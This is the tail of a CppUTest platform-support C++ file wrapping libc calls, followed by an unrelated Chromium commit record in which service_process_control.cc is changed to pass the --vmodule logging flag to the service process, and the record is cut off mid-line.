WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\r\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\r\n * DISCLAIMED. IN NO EVENT SHALL <copyright holder> BE LIABLE FOR ANY\r\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\r\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\r\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\r\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\r\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\r\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\r\n *\/\r\n\r\n#include <stdlib.h>\r\n#include \"CppUTest\/TestHarness.h\"\r\n#undef malloc\r\n#undef free\r\n#undef calloc\r\n#undef realloc\r\n\r\n#include \"CppUTest\/TestRegistry.h\"\r\n#include <sys\/time.h>\r\n#include <time.h>\r\n#include <stdio.h>\r\n#include <stdarg.h>\r\n#include <setjmp.h>\r\n#include <string.h>\r\n#include <math.h>\r\n#include <ctype.h>\r\n#include <unistd.h>\r\n\r\n#include \"CppUTest\/PlatformSpecificFunctions.h\"\r\n\r\nstatic jmp_buf test_exit_jmp_buf[10];\r\nstatic int jmp_buf_index = 0;\r\n\r\nbool Utest::executePlatformSpecificSetup()\r\n{\r\n   if (0 == setjmp(test_exit_jmp_buf[jmp_buf_index])) {\r\n      jmp_buf_index++;\r\n      setup();\r\n      jmp_buf_index--;\r\n      return true;\r\n   }\r\n   return false;\r\n}\r\n\r\nvoid Utest::executePlatformSpecificTestBody()\r\n{\r\n   if (0 == setjmp(test_exit_jmp_buf[jmp_buf_index])) {\r\n      jmp_buf_index++;\r\n      testBody();\r\n      jmp_buf_index--;\r\n   }\r\n}\r\n\r\nvoid Utest::executePlatformSpecificTeardown()\r\n{\r\n   if (0 == setjmp(test_exit_jmp_buf[jmp_buf_index])) {\r\n      jmp_buf_index++;\r\n      teardown();\r\n      jmp_buf_index--;\r\n   }\r\n}\r\n\r\nvoid Utest::executePlatformSpecificRunOneTest(TestPlugin* plugin, TestResult& result)\r\n{\r\n    if (0 == setjmp(test_exit_jmp_buf[jmp_buf_index])) {\r\n       jmp_buf_index++;\r\n\r\n       int info;\r\n       pid_t pid = (isRunInSeperateProcess()) ? fork() : 0;\r\n\r\n       if (pid) {\r\n    \t   wait(&info);\r\n    \t   if (WIFEXITED(info) && WEXITSTATUS(info) > result.getFailureCount())\r\n    \t\t   result.addFailure(TestFailure(this, \"failed in seperate process\"));\r\n       }\r\n       else {\r\n\t\t    runOneTest(plugin, result);\r\n\t\t    if (isRunInSeperateProcess()) exit(result.getFailureCount() );\r\n\t\t}\r\n\r\n       jmp_buf_index--;\r\n    }\r\n}\r\n\r\nvoid Utest::executePlatformSpecificExitCurrentTest()\r\n{\r\n   jmp_buf_index--;\r\n   longjmp(test_exit_jmp_buf[jmp_buf_index], 1);\r\n}\r\n\r\nTestOutput::WorkingEnvironment PlatformSpecificGetWorkingEnvironment()\r\n{\r\n\treturn TestOutput::eclipse;\r\n}\r\n\r\n\/\/\/\/\/\/\/\/\/\/\/\/\/ Time in millis\r\n\r\nstatic long TimeInMillisImplementation()\r\n{\r\n\tstruct timeval tv;\r\n\tstruct timezone tz;\r\n\tgettimeofday(&tv, &tz);\r\n\treturn (tv.tv_sec * 1000) + (long)((double)tv.tv_usec * 0.001);\r\n}\r\n\r\nstatic long (*timeInMillisFp) () = TimeInMillisImplementation;\r\n\r\nlong GetPlatformSpecificTimeInMillis()\r\n{\r\n\treturn timeInMillisFp();\r\n}\r\n\r\nvoid SetPlatformSpecificTimeInMillisMethod(long (*platformSpecific) ())\r\n{\r\n\ttimeInMillisFp = (platformSpecific == 0) ? TimeInMillisImplementation : platformSpecific;\r\n}\r\n\r\n\/\/\/\/\/\/\/\/\/\/\/\/\/ Time in String\r\n\r\nstatic const char* TimeStringImplementation()\r\n{\r\n\ttime_t tm = time(NULL);\r\n\treturn ctime(&tm);\r\n}\r\n\r\nstatic const char* (*timeStringFp) () = TimeStringImplementation;\r\n\r\nconst char* GetPlatformSpecificTimeString()\r\n{\r\n\treturn timeStringFp();\r\n}\r\n\r\nvoid SetPlatformSpecificTimeStringMethod(const char* (*platformMethod) ())\r\n{\r\n\ttimeStringFp = (platformMethod == 0) ? TimeStringImplementation : platformMethod;\r\n}\r\n\r\nint PlatformSpecificAtoI(const char*str)\r\n{\r\n   return atoi(str);\r\n}\r\n\r\nsize_t PlatformSpecificStrLen(const char* str)\r\n{\r\n   return strlen(str);\r\n}\r\n\r\nchar* PlatformSpecificStrCat(char* s1, const char* s2)\r\n{\r\n   return strcat(s1, s2);\r\n}\r\n\r\nchar* PlatformSpecificStrCpy(char* s1, const char* s2)\r\n{\r\n   return strcpy(s1, s2);\r\n}\r\n\r\nchar* PlatformSpecificStrNCpy(char* s1, const char* s2, size_t size)\r\n{\r\n   return strncpy(s1, s2, size);\r\n}\r\n\r\nint PlatformSpecificStrCmp(const char* s1, const char* s2)\r\n{\r\n   return strcmp(s1, s2);\r\n}\r\n\r\nint PlatformSpecificStrNCmp(const char* s1, const char* s2, size_t size)\r\n{\r\n   return strncmp(s1, s2, size);\r\n}\r\nchar* PlatformSpecificStrStr(const char* s1, const char* s2)\r\n{\r\n   return (char*) strstr(s1, s2);\r\n}\r\n\r\nint PlatformSpecificVSNprintf(char *str, unsigned int size, const char* format, va_list args)\r\n{\r\n   return vsnprintf( str, size, format, args);\r\n}\r\n\r\nchar PlatformSpecificToLower(char c)\r\n{\r\n\treturn (char) tolower((char) c);\r\n}\r\n\r\nPlatformSpecificFile PlatformSpecificFOpen(const char* filename, const char* flag)\r\n{\r\n   return fopen(filename, flag);\r\n}\r\n\r\n\r\nvoid PlatformSpecificFPuts(const char* str, PlatformSpecificFile file)\r\n{\r\n   fputs(str, (FILE*)file);\r\n}\r\n\r\nvoid PlatformSpecificFClose(PlatformSpecificFile file)\r\n{\r\n   fclose((FILE*)file);\r\n}\r\n\r\nvoid PlatformSpecificFlush()\r\n{\r\n  fflush(stdout);\r\n}\r\n\r\nint PlatformSpecificPutchar(int c)\r\n{\r\n  return putchar(c);\r\n}\r\n\r\nvoid* PlatformSpecificMalloc(size_t size)\r\n{\r\n   return malloc(size);\r\n}\r\n\r\nvoid* PlatformSpecificRealloc (void* memory, size_t size)\r\n{\r\n   return realloc(memory, size);\r\n}\r\n\r\nvoid PlatformSpecificFree(void* memory)\r\n{\r\n   free(memory);\r\n}\r\n\r\nvoid* PlatformSpecificMemCpy(void* s1, const void* s2, size_t size)\r\n{\r\n   return memcpy(s1, s2, size);\r\n}\r\n\r\nvoid* PlatformSpecificMemset(void* mem, int c, size_t size)\r\n{\r\n\treturn memset(mem, c, size);\r\n}\r\n\r\n\r\ndouble PlatformSpecificFabs(double d)\r\n{\r\n   return fabs(d);\r\n}\r\n\r\nint PlatformSpecificIsNan(double d)\r\n{\r\n\treturn isnan((float)d);\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/service\/service_process_control.h\"\n\n#include \"base\/command_line.h\"\n#include \"base\/file_path.h\"\n#include \"base\/process_util.h\"\n#include \"base\/stl_util-inl.h\"\n#include \"base\/threading\/thread.h\"\n#include \"base\/threading\/thread_restrictions.h\"\n#include \"chrome\/browser\/browser_process.h\"\n#include \"chrome\/browser\/io_thread.h\"\n#include \"chrome\/browser\/upgrade_detector.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/service_messages.h\"\n#include \"chrome\/common\/service_process_util.h\"\n#include \"content\/browser\/browser_thread.h\"\n#include \"content\/common\/child_process_host.h\"\n#include \"content\/common\/notification_service.h\"\n#include \"ui\/base\/ui_base_switches.h\"\n\n\n\/\/ ServiceProcessControl implementation.\nServiceProcessControl::ServiceProcessControl(Profile* profile)\n    : profile_(profile) {\n}\n\nServiceProcessControl::~ServiceProcessControl() {\n  STLDeleteElements(&connect_done_tasks_);\n  STLDeleteElements(&connect_success_tasks_);\n  STLDeleteElements(&connect_failure_tasks_);\n}\n\nvoid ServiceProcessControl::ConnectInternal() {\n  \/\/ If the channel has already been established then we run the task\n  \/\/ and return.\n  if (channel_.get()) {\n    RunConnectDoneTasks();\n    return;\n  }\n\n  \/\/ Actually going to connect.\n  VLOG(1) << \"Connecting to Service Process IPC Server\";\n  \/\/ Run the IPC channel on the shared IO thread.\n  base::Thread* io_thread = g_browser_process->io_thread();\n\n  \/\/ TODO(hclam): Handle error connecting to channel.\n  const IPC::ChannelHandle channel_id = GetServiceProcessChannel();\n  channel_.reset(\n      new IPC::SyncChannel(channel_id, IPC::Channel::MODE_NAMED_CLIENT, this,\n                           io_thread->message_loop(), true,\n                           g_browser_process->shutdown_event()));\n}\n\nvoid ServiceProcessControl::RunConnectDoneTasks() {\n  \/\/ The tasks executed here may add more tasks to the vector. So copy\n  \/\/ them to the stack before executing them. This way recursion is\n  \/\/ avoided.\n  TaskList tasks;\n  tasks.swap(connect_done_tasks_);\n  RunAllTasksHelper(&tasks);\n  DCHECK(tasks.empty());\n\n  if (is_connected()) {\n    tasks.swap(connect_success_tasks_);\n    RunAllTasksHelper(&tasks);\n    DCHECK(tasks.empty());\n\n    STLDeleteElements(&connect_failure_tasks_);\n  } else {\n    tasks.swap(connect_failure_tasks_);\n    RunAllTasksHelper(&tasks);\n    DCHECK(tasks.empty());\n\n    STLDeleteElements(&connect_success_tasks_);\n  }\n\n  DCHECK(connect_done_tasks_.empty());\n  DCHECK(connect_success_tasks_.empty());\n  DCHECK(connect_failure_tasks_.empty());\n}\n\n\/\/ static\nvoid ServiceProcessControl::RunAllTasksHelper(TaskList* task_list) {\n  TaskList::iterator index = task_list->begin();\n  while (index != task_list->end()) {\n    (*index)->Run();\n    delete (*index);\n    index = task_list->erase(index);\n  }\n}\n\nvoid ServiceProcessControl::Launch(Task* success_task, Task* failure_task) {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n\n  if (success_task) {\n    if (success_task == failure_task) {\n      \/\/ If the tasks are the same, then the same task needs to be invoked\n      \/\/ for success and failure.\n      failure_task = NULL;\n      connect_done_tasks_.push_back(success_task);\n    } else {\n      connect_success_tasks_.push_back(success_task);\n    }\n  }\n\n  if (failure_task)\n    connect_failure_tasks_.push_back(failure_task);\n\n  \/\/ If we already in the process of launching, then we are done.\n  if (launcher_) {\n    return;\n  }\n\n  \/\/ If the service process is already running then connects to it.\n  if (CheckServiceProcessReady()) {\n    ConnectInternal();\n    return;\n  }\n\n  \/\/ A service process should have a different mechanism for starting, but now\n  \/\/ we start it as if it is a child process.\n  FilePath exe_path = ChildProcessHost::GetChildPath(true);\n  if (exe_path.empty()) {\n    NOTREACHED() << \"Unable to get service process binary name.\";\n  }\n\n  CommandLine* cmd_line = new CommandLine(exe_path);\n  cmd_line->AppendSwitchASCII(switches::kProcessType,\n                              switches::kServiceProcess);\n\n  const CommandLine& browser_command_line = *CommandLine::ForCurrentProcess();\n  FilePath user_data_dir =\n      browser_command_line.GetSwitchValuePath(switches::kUserDataDir);\n  if (!user_data_dir.empty())\n    cmd_line->AppendSwitchPath(switches::kUserDataDir, user_data_dir);\n\n  std::string logging_level = browser_command_line.GetSwitchValueASCII(\n      switches::kLoggingLevel);\n  if (!logging_level.empty())\n    cmd_line->AppendSwitchASCII(switches::kLoggingLevel, logging_level);\n\n  std::string v_level = browser_command_line.GetSwitchValueASCII(\n      switches::kV);\n  if (!v_level.empty())\n    cmd_line->AppendSwitchASCII(switches::kV, v_level);\n\n  if (browser_command_line.HasSwitch(switches::kWaitForDebuggerChildren)) {\n    cmd_line->AppendSwitch(switches::kWaitForDebugger);\n  }\n\n  if (browser_command_line.HasSwitch(switches::kEnableLogging)) {\n    cmd_line->AppendSwitch(switches::kEnableLogging);\n  }\n\n  std::string locale = g_browser_process->GetApplicationLocale();\n  cmd_line->AppendSwitchASCII(switches::kLang, locale);\n\n  \/\/ And then start the process asynchronously.\n  launcher_ = new Launcher(this, cmd_line);\n  launcher_->Run(\n      NewRunnableMethod(this, &ServiceProcessControl::OnProcessLaunched));\n}\n\nvoid ServiceProcessControl::OnProcessLaunched() {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n  if (launcher_->launched()) {\n    \/\/ After we have successfully created the service process we try to connect\n    \/\/ to it. The launch task is transfered to a connect task.\n    ConnectInternal();\n  } else {\n    \/\/ If we don't have process handle that means launching the service process\n    \/\/ has failed.\n    RunConnectDoneTasks();\n  }\n\n  \/\/ We don't need the launcher anymore.\n  launcher_ = NULL;\n}\n\nbool ServiceProcessControl::OnMessageReceived(const IPC::Message& message) {\n  bool handled = true;\n  IPC_BEGIN_MESSAGE_MAP(ServiceProcessControl, message)\n    IPC_MESSAGE_HANDLER(ServiceHostMsg_CloudPrintProxy_IsEnabled,\n                        OnCloudPrintProxyIsEnabled)\n    IPC_MESSAGE_HANDLER(ServiceHostMsg_RemotingHost_HostInfo,\n                         OnRemotingHostInfo)\n    IPC_MESSAGE_UNHANDLED(handled = false)\n  IPC_END_MESSAGE_MAP()\n  return handled;\n}\n\nvoid ServiceProcessControl::OnChannelConnected(int32 peer_pid) {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n  channel_->set_sync_messages_with_no_timeout_allowed(false);\n\n  \/\/ We just established a channel with the service process. Notify it if an\n  \/\/ upgrade is available.\n  if (UpgradeDetector::GetInstance()->notify_upgrade()) {\n    Send(new ServiceMsg_UpdateAvailable);\n  } else {\n    if (registrar_.IsEmpty())\n      registrar_.Add(this, NotificationType::UPGRADE_RECOMMENDED,\n                     NotificationService::AllSources());\n  }\n  RunConnectDoneTasks();\n}\n\nvoid ServiceProcessControl::OnChannelError() {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n  channel_.reset();\n  RunConnectDoneTasks();\n}\n\nbool ServiceProcessControl::Send(IPC::Message* message) {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n  if (!channel_.get())\n    return false;\n  return channel_->Send(message);\n}\n\n\/\/ NotificationObserver implementation.\nvoid ServiceProcessControl::Observe(NotificationType type,\n                                    const NotificationSource& source,\n                                    const NotificationDetails& details) {\n  if (type == NotificationType::UPGRADE_RECOMMENDED) {\n    Send(new ServiceMsg_UpdateAvailable);\n  }\n}\n\nvoid ServiceProcessControl::OnCloudPrintProxyIsEnabled(bool enabled,\n                                                       std::string email) {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n  if (cloud_print_status_callback_ != NULL) {\n    cloud_print_status_callback_->Run(enabled, email);\n    cloud_print_status_callback_.reset();\n  }\n}\n\nvoid ServiceProcessControl::OnRemotingHostInfo(\n    const remoting::ChromotingHostInfo& host_info) {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n  for (std::set<MessageHandler*>::iterator it = message_handlers_.begin();\n       it != message_handlers_.end(); ++it) {\n    (*it)->OnRemotingHostInfo(host_info);\n  }\n}\n\nbool ServiceProcessControl::GetCloudPrintProxyStatus(\n    Callback2<bool, std::string>::Type* cloud_print_status_callback) {\n  DCHECK(cloud_print_status_callback);\n  cloud_print_status_callback_.reset(cloud_print_status_callback);\n  return Send(new ServiceMsg_IsCloudPrintProxyEnabled);\n}\n\nbool ServiceProcessControl::Shutdown() {\n  bool ret = Send(new ServiceMsg_Shutdown());\n  channel_.reset();\n  return ret;\n}\n\nbool ServiceProcessControl::SetRemotingHostCredentials(\n    const std::string& user,\n    const std::string& talk_token) {\n  return Send(\n      new ServiceMsg_SetRemotingHostCredentials(user, talk_token));\n}\n\nbool ServiceProcessControl::EnableRemotingHost() {\n  return Send(new ServiceMsg_EnableRemotingHost());\n}\n\nbool ServiceProcessControl::DisableRemotingHost() {\n  return Send(new ServiceMsg_DisableRemotingHost());\n}\n\nbool ServiceProcessControl::RequestRemotingHostStatus() {\n  if (CheckServiceProcessReady()) {\n    remoting::ChromotingHostInfo failure_host_info;\n    failure_host_info.enabled = false;\n\n    Launch(NewRunnableMethod(this, &ServiceProcessControl::Send,\n                             new ServiceMsg_GetRemotingHostInfo),\n           NewRunnableMethod(this,\n                             &ServiceProcessControl::OnRemotingHostInfo,\n                             failure_host_info));\n    return true;\n  }\n  return false;\n}\n\nvoid ServiceProcessControl::AddMessageHandler(\n    MessageHandler* message_handler) {\n  message_handlers_.insert(message_handler);\n}\n\nvoid ServiceProcessControl::RemoveMessageHandler(\n    MessageHandler* message_handler) {\n  message_handlers_.erase(message_handler);\n}\n\nDISABLE_RUNNABLE_METHOD_REFCOUNT(ServiceProcessControl);\n\nServiceProcessControl::Launcher::Launcher(ServiceProcessControl* process,\n                                          CommandLine* cmd_line)\n    : process_(process),\n      cmd_line_(cmd_line),\n      launched_(false),\n      retry_count_(0) {\n}\n\n\/\/ Execute the command line to start the process asynchronously.\n\/\/ After the command is executed, |task| is called with the process handle on\n\/\/ the UI thread.\nvoid ServiceProcessControl::Launcher::Run(Task* task) {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n  notify_task_.reset(task);\n  BrowserThread::PostTask(BrowserThread::PROCESS_LAUNCHER, FROM_HERE,\n                         NewRunnableMethod(this, &Launcher::DoRun));\n}\n\nServiceProcessControl::Launcher::~Launcher() {}\n\nvoid ServiceProcessControl::Launcher::Notify() {\n  DCHECK(notify_task_.get());\n  notify_task_->Run();\n  notify_task_.reset();\n}\n\n#if !defined(OS_MACOSX)\nvoid ServiceProcessControl::Launcher::DoDetectLaunched() {\n  DCHECK(notify_task_.get());\n  const uint32 kMaxLaunchDetectRetries = 10;\n  launched_ = CheckServiceProcessReady();\n  if (launched_ || (retry_count_ >= kMaxLaunchDetectRetries)) {\n    BrowserThread::PostTask(BrowserThread::UI, FROM_HERE,\n        NewRunnableMethod(this, &Launcher::Notify));\n    return;\n  }\n  retry_count_++;\n\n  \/\/ If the service process is not launched yet then check again in 2 seconds.\n  const int kDetectLaunchRetry = 2000;\n  MessageLoop::current()->PostDelayedTask(\n      FROM_HERE,\n      NewRunnableMethod(this, &Launcher::DoDetectLaunched),\n      kDetectLaunchRetry);\n}\n\nvoid ServiceProcessControl::Launcher::DoRun() {\n  DCHECK(notify_task_.get());\n  if (base::LaunchApp(*cmd_line_, false, true, NULL)) {\n    BrowserThread::PostTask(BrowserThread::IO, FROM_HERE,\n                            NewRunnableMethod(this,\n                                              &Launcher::DoDetectLaunched));\n  } else {\n    BrowserThread::PostTask(BrowserThread::UI, FROM_HERE,\n                            NewRunnableMethod(this, &Launcher::Notify));\n  }\n}\n#endif  \/\/ !OS_MACOSX\n<commit_msg>BUG=none TEST=Start Chrome with a --vmodule command-line flag, and verify that the service process produces verbose logging accordingly.<commit_after>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/service\/service_process_control.h\"\n\n#include \"base\/command_line.h\"\n#include \"base\/file_path.h\"\n#include \"base\/process_util.h\"\n#include \"base\/stl_util-inl.h\"\n#include \"base\/threading\/thread.h\"\n#include \"base\/threading\/thread_restrictions.h\"\n#include \"chrome\/browser\/browser_process.h\"\n#include \"chrome\/browser\/io_thread.h\"\n#include \"chrome\/browser\/upgrade_detector.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/service_messages.h\"\n#include \"chrome\/common\/service_process_util.h\"\n#include \"content\/browser\/browser_thread.h\"\n#include \"content\/common\/child_process_host.h\"\n#include \"content\/common\/notification_service.h\"\n#include \"ui\/base\/ui_base_switches.h\"\n\n\n\/\/ ServiceProcessControl implementation.\nServiceProcessControl::ServiceProcessControl(Profile* profile)\n    : profile_(profile) {\n}\n\nServiceProcessControl::~ServiceProcessControl() {\n  STLDeleteElements(&connect_done_tasks_);\n  STLDeleteElements(&connect_success_tasks_);\n  STLDeleteElements(&connect_failure_tasks_);\n}\n\nvoid ServiceProcessControl::ConnectInternal() {\n  \/\/ If the channel has already been established then we run the task\n  \/\/ and return.\n  if (channel_.get()) {\n    RunConnectDoneTasks();\n    return;\n  }\n\n  \/\/ Actually going to connect.\n  VLOG(1) << \"Connecting to Service Process IPC Server\";\n  \/\/ Run the IPC channel on the shared IO thread.\n  base::Thread* io_thread = g_browser_process->io_thread();\n\n  \/\/ TODO(hclam): Handle error connecting to channel.\n  const IPC::ChannelHandle channel_id = GetServiceProcessChannel();\n  channel_.reset(\n      new IPC::SyncChannel(channel_id, IPC::Channel::MODE_NAMED_CLIENT, this,\n                           io_thread->message_loop(), true,\n                           g_browser_process->shutdown_event()));\n}\n\nvoid ServiceProcessControl::RunConnectDoneTasks() {\n  \/\/ The tasks executed here may add more tasks to the vector. So copy\n  \/\/ them to the stack before executing them. This way recursion is\n  \/\/ avoided.\n  TaskList tasks;\n  tasks.swap(connect_done_tasks_);\n  RunAllTasksHelper(&tasks);\n  DCHECK(tasks.empty());\n\n  if (is_connected()) {\n    tasks.swap(connect_success_tasks_);\n    RunAllTasksHelper(&tasks);\n    DCHECK(tasks.empty());\n\n    STLDeleteElements(&connect_failure_tasks_);\n  } else {\n    tasks.swap(connect_failure_tasks_);\n    RunAllTasksHelper(&tasks);\n    DCHECK(tasks.empty());\n\n    STLDeleteElements(&connect_success_tasks_);\n  }\n\n  DCHECK(connect_done_tasks_.empty());\n  DCHECK(connect_success_tasks_.empty());\n  DCHECK(connect_failure_tasks_.empty());\n}\n\n\/\/ static\nvoid ServiceProcessControl::RunAllTasksHelper(TaskList* task_list) {\n  TaskList::iterator index = task_list->begin();\n  while (index != task_list->end()) {\n    (*index)->Run();\n    delete (*index);\n    index = task_list->erase(index);\n  }\n}\n\nvoid ServiceProcessControl::Launch(Task* success_task, Task* failure_task) {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n\n  if (success_task) {\n    if (success_task == failure_task) {\n      \/\/ If the tasks are the same, then the same task needs to be invoked\n      \/\/ for success and failure.\n      failure_task = NULL;\n      connect_done_tasks_.push_back(success_task);\n    } else {\n      connect_success_tasks_.push_back(success_task);\n    }\n  }\n\n  if (failure_task)\n    connect_failure_tasks_.push_back(failure_task);\n\n  \/\/ If we already in the process of launching, then we are done.\n  if (launcher_) {\n    return;\n  }\n\n  \/\/ If the service process is already running then connects to it.\n  if (CheckServiceProcessReady()) {\n    ConnectInternal();\n    return;\n  }\n\n  \/\/ A service process should have a different mechanism for starting, but now\n  \/\/ we start it as if it is a child process.\n  FilePath exe_path = ChildProcessHost::GetChildPath(true);\n  if (exe_path.empty()) {\n    NOTREACHED() << \"Unable to get service process binary name.\";\n  }\n\n  CommandLine* cmd_line = new CommandLine(exe_path);\n  cmd_line->AppendSwitchASCII(switches::kProcessType,\n                              switches::kServiceProcess);\n\n  const CommandLine& browser_command_line = *CommandLine::ForCurrentProcess();\n  FilePath user_data_dir =\n      browser_command_line.GetSwitchValuePath(switches::kUserDataDir);\n  if (!user_data_dir.empty())\n    cmd_line->AppendSwitchPath(switches::kUserDataDir, user_data_dir);\n\n  std::string logging_level = browser_command_line.GetSwitchValueASCII(\n      switches::kLoggingLevel);\n  if (!logging_level.empty())\n    cmd_line->AppendSwitchASCII(switches::kLoggingLevel, logging_level);\n\n  std::string v_level = browser_command_line.GetSwitchValueASCII(\n      switches::kV);\n  if (!v_level.empty())\n    cmd_line->AppendSwitchASCII(switches::kV, v_level);\n\n  std::string v_modules = browser_command_line.GetSwitchValueASCII(\n      switches::kVModule);\n  if (!v_modules.empty())\n    cmd_line->AppendSwitchASCII(switches::kVModule, v_modules);\n\n  if (browser_command_line.HasSwitch(switches::kWaitForDebuggerChildren)) {\n    cmd_line->AppendSwitch(switches::kWaitForDebugger);\n  }\n\n  if (browser_command_line.HasSwitch(switches::kEnableLogging)) {\n    cmd_line->AppendSwitch(switches::kEnableLogging);\n  }\n\n  std::string locale = g_browser_process->GetApplicationLocale();\n  cmd_line->AppendSwitchASCII(switches::kLang, locale);\n\n  \/\/ And then start the process asynchronously.\n  launcher_ = new Launcher(this, cmd_line);\n  launcher_->Run(\n      NewRunnableMethod(this, &ServiceProcessControl::OnProcessLaunched));\n}\n\nvoid ServiceProcessControl::OnProcessLaunched() {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n  if (launcher_->launched()) {\n    \/\/ After we have successfully created the service process we try to connect\n    \/\/ to it. The launch task is transfered to a connect task.\n    ConnectInternal();\n  } else {\n    \/\/ If we don't have process handle that means launching the service process\n    \/\/ has failed.\n    RunConnectDoneTasks();\n  }\n\n  \/\/ We don't need the launcher anymore.\n  launcher_ = NULL;\n}\n\nbool ServiceProcessControl::OnMessageReceived(const IPC::Message& message) {\n  bool handled = true;\n  IPC_BEGIN_MESSAGE_MAP(ServiceProcessControl, message)\n    IPC_MESSAGE_HANDLER(ServiceHostMsg_CloudPrintProxy_IsEnabled,\n                        OnCloudPrintProxyIsEnabled)\n    IPC_MESSAGE_HANDLER(ServiceHostMsg_RemotingHost_HostInfo,\n                         OnRemotingHostInfo)\n    IPC_MESSAGE_UNHANDLED(handled = false)\n  IPC_END_MESSAGE_MAP()\n  return handled;\n}\n\nvoid ServiceProcessControl::OnChannelConnected(int32 peer_pid) {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n  channel_->set_sync_messages_with_no_timeout_allowed(false);\n\n  \/\/ We just established a channel with the service process. Notify it if an\n  \/\/ upgrade is available.\n  if (UpgradeDetector::GetInstance()->notify_upgrade()) {\n    Send(new ServiceMsg_UpdateAvailable);\n  } else {\n    if (registrar_.IsEmpty())\n      registrar_.Add(this, NotificationType::UPGRADE_RECOMMENDED,\n                     NotificationService::AllSources());\n  }\n  RunConnectDoneTasks();\n}\n\nvoid ServiceProcessControl::OnChannelError() {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n  channel_.reset();\n  RunConnectDoneTasks();\n}\n\nbool ServiceProcessControl::Send(IPC::Message* message) {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n  if (!channel_.get())\n    return false;\n  return channel_->Send(message);\n}\n\n\/\/ NotificationObserver implementation.\nvoid ServiceProcessControl::Observe(NotificationType type,\n                                    const NotificationSource& source,\n                                    const NotificationDetails& details) {\n  if (type == NotificationType::UPGRADE_RECOMMENDED) {\n    Send(new ServiceMsg_UpdateAvailable);\n  }\n}\n\nvoid ServiceProcessControl::OnCloudPrintProxyIsEnabled(bool enabled,\n                                                       std::string email) {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n  if (cloud_print_status_callback_ != NULL) {\n    cloud_print_status_callback_->Run(enabled, email);\n    cloud_print_status_callback_.reset();\n  }\n}\n\nvoid ServiceProcessControl::OnRemotingHostInfo(\n    const remoting::ChromotingHostInfo& host_info) {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n  for (std::set<MessageHandler*>::iterator it = message_handlers_.begin();\n       it != message_handlers_.end(); ++it) {\n    (*it)->OnRemotingHostInfo(host_info);\n  }\n}\n\nbool ServiceProcessControl::GetCloudPrintProxyStatus(\n    Callback2<bool, std::string>::Type* cloud_print_status_callback) {\n  DCHECK(cloud_print_status_callback);\n  cloud_print_status_callback_.reset(cloud_print_status_callback);\n  return Send(new ServiceMsg_IsCloudPrintProxyEnabled);\n}\n\nbool ServiceProcessControl::Shutdown() {\n  bool ret = Send(new ServiceMsg_Shutdown());\n  channel_.reset();\n  return ret;\n}\n\nbool ServiceProcessControl::SetRemotingHostCredentials(\n    const std::string& user,\n    const std::string& talk_token) {\n  return Send(\n      new ServiceMsg_SetRemotingHostCredentials(user, talk_token));\n}\n\nbool ServiceProcessControl::EnableRemotingHost() {\n  return Send(new ServiceMsg_EnableRemotingHost());\n}\n\nbool ServiceProcessControl::DisableRemotingHost() {\n  return Send(new ServiceMsg_DisableRemotingHost());\n}\n\nbool ServiceProcessControl::RequestRemotingHostStatus() {\n  if (CheckServiceProcessReady()) {\n    remoting::ChromotingHostInfo failure_host_info;\n    failure_host_info.enabled = false;\n\n    Launch(NewRunnableMethod(this, &ServiceProcessControl::Send,\n                             new ServiceMsg_GetRemotingHostInfo),\n           NewRunnableMethod(this,\n                             &ServiceProcessControl::OnRemotingHostInfo,\n                             failure_host_info));\n    return true;\n  }\n  return false;\n}\n\nvoid ServiceProcessControl::AddMessageHandler(\n    MessageHandler* message_handler) {\n  message_handlers_.insert(message_handler);\n}\n\nvoid ServiceProcessControl::RemoveMessageHandler(\n    MessageHandler* message_handler) {\n  message_handlers_.erase(message_handler);\n}\n\nDISABLE_RUNNABLE_METHOD_REFCOUNT(ServiceProcessControl);\n\nServiceProcessControl::Launcher::Launcher(ServiceProcessControl* process,\n                                          CommandLine* cmd_line)\n    : process_(process),\n      cmd_line_(cmd_line),\n      launched_(false),\n      retry_count_(0) {\n}\n\n\/\/ Execute the command line to start the process asynchronously.\n\/\/ After the command is executed, |task| is called with the process handle on\n\/\/ the UI thread.\nvoid ServiceProcessControl::Launcher::Run(Task* task) {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n  notify_task_.reset(task);\n  BrowserThread::PostTask(BrowserThread::PROCESS_LAUNCHER, FROM_HERE,\n                         NewRunnableMethod(this, 